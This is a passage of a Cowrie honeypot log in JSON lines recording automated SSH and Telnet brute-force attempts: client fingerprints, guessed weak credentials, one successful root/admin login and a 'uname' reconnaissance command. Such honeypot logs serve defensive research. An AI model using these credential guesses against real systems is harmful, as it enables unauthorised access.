0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:57.305433Z","src_ip":"95.38.165.118","session":"8b3d83c4d517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:58.077081Z","src_ip":"95.38.165.118","session":"8b3d83c4d517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:59.244273Z","src_ip":"95.38.165.118","session":"8b3d83c4d517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43766,"dst_ip":"10.17.0.5","dst_port":22,"session":"23d17fa5a040","protocol":"ssh","message":"New connection: 95.38.165.118:43766 (10.17.0.5:22) [session: 23d17fa5a040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:02.038261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:02.043601Z","src_ip":"95.38.165.118","session":"23d17fa5a040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:02.313185Z","src_ip":"95.38.165.118","session":"23d17fa5a040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42370,"dst_ip":"159.203.135.109","dst_port":23,"session":"039d45b6fdb5","protocol":"telnet","message":"New connection: 69.4.83.194:42370 (159.203.135.109:23) [session: 039d45b6fdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:02.664281Z"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:02.886875Z","src_ip":"95.38.165.118","session":"23d17fa5a040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:04.306669Z","src_ip":"95.38.165.118","session":"23d17fa5a040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56414,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec1a1b73cd0","protocol":"ssh","message":"New connection: 95.38.165.118:56414 (10.17.0.5:22) [session: eec1a1b73cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:07.046997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:07.053262Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:07.601121Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:08.477204Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:08.863252Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:08.866553Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:09.036042Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:09.041059Z","src_ip":"95.38.165.118","session":"eec1a1b73cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":60030,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2efe930584","protocol":"ssh","message":"New connection: 43.165.174.224:60030 (159.203.135.109:22) [session: ce2efe930584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:09.636749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:09.641840Z","src_ip":"43.165.174.224","session":"ce2efe930584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:09.804469Z","src_ip":"43.165.174.224","session":"ce2efe930584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:10.487949Z","src_ip":"43.165.174.224","session":"ce2efe930584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:11.653687Z","src_ip":"43.165.174.224","session":"ce2efe930584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56428,"dst_ip":"10.17.0.5","dst_port":22,"session":"271a88620893","protocol":"ssh","message":"New connection: 95.38.165.118:56428 (10.17.0.5:22) [session: 271a88620893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:12.777061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:12.785109Z","src_ip":"95.38.165.118","session":"271a88620893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:12.954383Z","src_ip":"95.38.165.118","session":"271a88620893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:13.492947Z","src_ip":"95.38.165.118","session":"271a88620893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:14.832276Z","src_ip":"95.38.165.118","session":"271a88620893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.71141457557678,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:16.643972Z","src_ip":"69.4.83.194","session":"8de4d176a341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc80b6e3a44","protocol":"ssh","message":"New connection: 95.38.165.118:40100 (10.17.0.5:22) [session: 3bc80b6e3a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:17.699361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:17.705338Z","src_ip":"95.38.165.118","session":"3bc80b6e3a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.069759Z","src_ip":"95.38.165.118","session":"3bc80b6e3a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38946,"dst_ip":"159.203.135.109","dst_port":22,"session":"5093a36da371","protocol":"ssh","message":"New connection: 194.59.206.2:38946 (159.203.135.109:22) [session: 5093a36da371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.699364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.704859Z","src_ip":"194.59.206.2","session":"5093a36da371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.799328Z","src_ip":"194.59.206.2","session":"5093a36da371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.858615Z","src_ip":"95.38.165.118","session":"3bc80b6e3a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:18.894634Z","src_ip":"194.59.206.2","session":"5093a36da371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:20.023566Z","src_ip":"95.38.165.118","session":"3bc80b6e3a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00d05a71225","protocol":"telnet","message":"New connection: 178.128.93.180:40206 (10.17.0.5:23) [session: c00d05a71225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:21.933276Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40110,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3dca20209b4","protocol":"ssh","message":"New connection: 95.38.165.118:40110 (10.17.0.5:22) [session: d3dca20209b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:22.944515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:22.949543Z","src_ip":"95.38.165.118","session":"d3dca20209b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:23.669159Z","src_ip":"95.38.165.118","session":"d3dca20209b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:25.236632Z","src_ip":"95.38.165.118","session":"d3dca20209b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:27.236072Z","src_ip":"95.38.165.118","session":"d3dca20209b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58704,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a71a27d683","protocol":"ssh","message":"New connection: 95.38.165.118:58704 (10.17.0.5:22) [session: a9a71a27d683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:27.936469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:27.941612Z","src_ip":"95.38.165.118","session":"a9a71a27d683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ct